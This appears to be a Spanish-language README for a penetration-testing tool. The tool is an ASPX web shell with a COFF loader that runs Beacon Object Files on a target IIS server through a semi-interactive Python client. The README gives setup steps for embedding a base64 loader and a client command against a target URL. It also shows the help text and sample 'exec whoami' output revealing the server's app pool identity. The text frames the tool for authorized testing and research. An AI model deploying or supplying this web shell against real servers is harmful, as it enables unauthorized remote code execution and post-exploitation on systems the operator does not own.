
Shell web ASPX con cargador COFF para ejecutar archivos de objeto Beacon (BOF) en servidores objetivo mediante un cliente Python semi-interactivo, diseñado para pruebas de penetración autorizadas.
Basado en CS_COFFLoader de TrustedSec
Este shell web ASPX permite la ejecución de Archivos de Objeto Beacon (BOF) en un servidor objetivo utilizando un cliente Python semi-interactivo.
Aprovecha una implementación de cargador COFF derivada de CS_COFFLoader de TrustedSec.
Este proyecto está destinado estrictamente para investigación de seguridad y pruebas de penetración autorizadas. Al usar este proyecto, aceptas cumplir con todas las leyes y regulaciones aplicables.
Antes de usar, necesitarás:
Compilar beacon_compatibility.c desde https://github.com/trustedsec/CS_COFFLoader/tree/main/beacon_object, y sustituir el marcador de posición {{BEACON_DATA}} en el archivo ASPX con el archivo de objeto codificado en Base64.
Compilar tus BOFs, por ejemplo, desde https://github.com/trustedsec/CS-Situational-Awareness-BOF, y especificar la ruta al directorio con los BOFs compilados en el cliente web.
python3 webshell_bof_client.py http://1.2.3.4/bof.aspx
[*] ASPX Web Shell With COFF Loader Client
[*] Target: http://1.2.3.4/bof.aspx
[*] Beacons: /usr/share/beacons
[*] Type 'help' for available commands.
bof> help
Client for ASPX Web Shell with COFF Loader
Based on TrustedSec's COFFLoader: https://github.com/trustedsec/COFFLoader/tree/main
Author: Eugenie Potseluevskaya
For security research and authorized penetration testing only.
Use strictly on systems you own or have explicit written permission to test.
Unauthorized use is illegal and the author assumes no liability for misuse or damages resulting from this code.
Available commands:
help
Show this message.
list
List available beacons in the beacons directory.
exec <beacon_name> [format_string [arg1 arg2 ...]]
Execute a beacon against the server.
beacon_name Name of the beacon subdirectory.
format_string bof_pack format string (b/i/s/z/Z). Omit if no args needed.
arg1 arg2 ... Arguments matching the format string.
Examples:
exec whoami
exec mybeacon z "hello world"
exec mybeacon zi "some string" 42
exec mybeacon zZ "str1" "widestr"
exit
Quit the client.
bof> exec whoami
[*] Sending 'whoami' (x64) to http://1.2.3.4/bof.aspx ...
── Output ──────────────────────────────────────
UserName SID
====================== ====================================
IIS APPPOOL\DefaultAppPool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
....